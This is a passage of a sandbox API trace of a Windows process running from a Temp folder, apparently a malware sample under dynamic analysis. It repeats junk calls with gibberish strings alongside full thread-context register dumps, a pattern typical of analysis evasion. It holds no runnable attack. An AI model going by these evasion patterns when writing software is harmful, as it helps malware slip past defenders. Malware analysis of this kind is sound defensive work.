[459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.087] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.088] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.091] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.091] GetConsoleCP () returned 0x0
	[0066.091] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.092] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.094] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.094] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.094] GetConsoleCP () returned 0x0
	[0066.094] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.095] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.095] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.095] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.095] GetConsoleCP () returned 0x0
	[0066.095] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, 